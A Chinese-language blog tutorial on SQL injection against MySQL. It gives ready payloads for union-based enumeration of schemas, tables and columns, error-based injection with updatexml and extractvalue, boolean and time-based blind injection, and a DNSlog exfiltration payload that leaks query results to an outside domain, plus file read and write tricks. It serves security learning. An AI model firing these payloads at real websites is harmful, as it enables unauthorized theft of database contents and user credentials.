侧边栏壁纸
博主头像
pingc

今天不学习,明天变乐色。

  • 累计撰写 8 篇文章
  • 累计创建 2 个标签
  • 累计收到 1 条评论

SQL注入简解

pingc
2022-04-22 / 0 评论 / 0 点赞 / 369 阅读 / 3,696 字

什么是SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。—— 百度百科

简单来说,就是web程序拿用户输入的数据进行sql操作时,没有对输入的值进行过滤,导致用户可以随意篡改SQL语句结构,执行其他任意sql语句。

以前SQL注入是非常流行的,近些年少了很多,但还是非常重要的知识点。

本章使用MYSQL作为演示,学习的是思路,套路是死的。
其他数据库思路都是一样,只是语法函数有所不同,一些方法不通用,具体还需要自行深造学习。

SQL注入的危害

如果存在SQL注入,那么我们可以通过数据库获取管理员账号密码,以及盗取用户数据和隐私,如果注入点权限够高,可以直接写入webshell获取网站权限甚至服务器权限。

验证注入点是否存在

假设一个url:http://xxxxx.com/index.php?id=1
‘id=1’中的‘1’就是会参与数据库查询的值,且是我们可控的,那么可能存在注入
验证方式:

?id=1 and 1=1
对应的SQL语句:select * from article whele id=1 and 1=1
正常:可能存在注入
404/跳转:不存在注入

?id=1 and 1=2
对应的SQL语句:select * from article whele id=1 and 1=2
报错:可能存在注入
404/跳转:不存在注入

?id=1'
对应的SQL语句:select * from article whele id=1'
报错:可能存在注入
404/跳转:不存在注入

SQL回显注入

回显注入,就是数据库查询的信息会直接显示到页面中,那么我们执行的其他sql返回的结果,也可以正常在页面中看到。

猜解字段数

我们要先确定,该SQL返回的结果有多少字段。
如:select id,user,password from admin where id = 1
这个返回的就是‘id,user,password’3个字段,我们需要对这个返回进行拆解获取字段数量。

拆解语句:order by x
?id=1 order by 1
返回正常:x加1继续猜解
报错:x-1是正确的字段数量

猜解回显字段

确定字段数量后,需要确定哪些字段位是会在页面中显示出来的。

拆解语句(x的数量是猜解出的字段数):union select x,x,x
判断:index.php?id=-1 union select 1,2,3
结果:当前页面回显的数字,所在的位置就是回显字段位

查询所有数据库库名信息

查询所有数据库库名信息
注意:‘table_schema’ 需要写在回显字段位上,否则无法看到返回的信息,这里假设3是回显字段位

?id=-1 union select distinct 1,2,schema_name from information_schema.schemata limit 0,1

查询指定数据库名下的表名信息

查询数据库test下的所有表名信息

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test"

查询数据库下指定表名下的列名信息

查询数据库test下的admin表中所有表名信息

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="admin" and table_schema="test"

SQL报错注入

适用于网站没有回显,但会显示SQL报错信息。
数据库执行SQL语句时会先去判断语法是否正确,如果错误就会返回错误信息。
通过这种机制,我们可以编写恶意SQL去故意报错,在报错信息中去执行真的的SQL,通过报错回显SQL结果。

updatexml报错注入

updatexml函数是用来更新xml文件,而且可以执行SQL语句,通过它来故意报错将查询语句一并报错出来。

?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

updatexml()函数第2个参数是xpath语句的字符串,我们通过它执行SQL且通过concat绑定非法字符串在里面导致报错,报错信息中就有我们执行的语句结果。

extractvalue报错注入

extractvalue函数与updatexml函数类似都是高效xml文件,利用也是一样原理。

?id=1 and extractvalue(1,concat(0x7e,database()))

SQL盲注注入

判断语句盲注

适用于网站没有回显,也不显示报错信息时。
使用判断语句判断我们的SQL语句,如果判断错误,SQL会报错无数据返回,页面会不正常显示。

判断数据库名长度
原理:通过length获取数据库名长度,然后进行>对比来判断长度
?id=1 and (length(database())) > 6

判断数据库名字符
原理:通过substr获取数据库名第一个字符,再进行ascii编码,然后通过>语句来判断准确字符
?id=1 and (ascii(substr(database(),0,1))) > 97

后续其他信息获取流程一样,截取一部字符,然后转码通过判断语句确定准确字符。

延时盲注

适用于网站没有回显,也不显示报错信息,就算SQL错误页面也没有任何影响。
使用if判断如果正确就返回,错误就延迟几秒返回,通过时间差异来判断SQL判断条件是否正确。

?id=1 and if(ascii(substr(database(),0,1))=97,sleep(5),1)

与判断语句盲注类似,判断语句盲注是判断错误直接返回错误,延迟盲注是判断错误后延迟时间。

DNSlog盲注

适用于网站没有回显,也不显示报错信息,就算SQL错误页面也没有任何影响。
先去DNSlog平台获取一个域名,然后编写SQL将其与域名拼接起来去通过load_file函数访问,访问时候会去DNS解析,这时候去平台获取解析记录,上面包含了我们的SQL结果。

?id=1 and load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))

堆叠注入

堆叠注入就是执行多条语句,通过‘;’号结束上条语句写第二条,达到执行执行两条语句效果。

?id=1; select database();

注入类型

注入类型分两种:整数型,字符型
以上操作都是基于整数型注入,如果是字符型注入需要进行闭合。
整数型

?id=aasd and 1=1
select * from article whele id="aasdasd and 1=1"

字符型(需闭合",注释后面的")

?id=aasd" and 1=1#
select * from article whele id="aasdasd" and 1=1#"

提交方式注入

以上的注入都是基于GET的提交方式,但还有许多如POST,UPDATE,DELETE等注入方式,这种是请求方式注入。
还有一些注入是存在于cookie或请求头X-Forwarded-For,User-Agent,Referer中。
注入点取决于哪些参数被拼接到SQL语句中,且是我们可控制的修改的,那都可能存在注入点。
注入写法基本一样,只是写入SQL语句的位置有所变动。

小结

常见的SQL注入这里基本都有涉及,现在大多数站点都有过滤参数或装有WAF,后续我会出一章或两章专门讲过滤与WAF绕过。

SQL注入的内容非常多,各数据库的注入都略有不同,个别数据库注入方式可能完全不一样,学习之路任重而道远,希望大家不选择躺平。

小知识点

信息收集sql:
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

路径获取常用方法:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

MYSQL数据库版本(5.0以上):
1.有一个存储所有数据库 库名 表名 列名 的数据库:information_schema
information_schema.tables :记录所有表名信息的表
information_schema.columns :记录所有列名信息的表
table_schema:库名
table_name:表名
column_name:列名
2.数据库中符号“.”表示下一级如,text.user 表示text数据库下的user表

读取文件:load_file(‘c:/1.txt’)
写入文件:into outfile ‘c:/1.txt’

注释:# 、--+ 、 /**/、/*!*/

0

评论区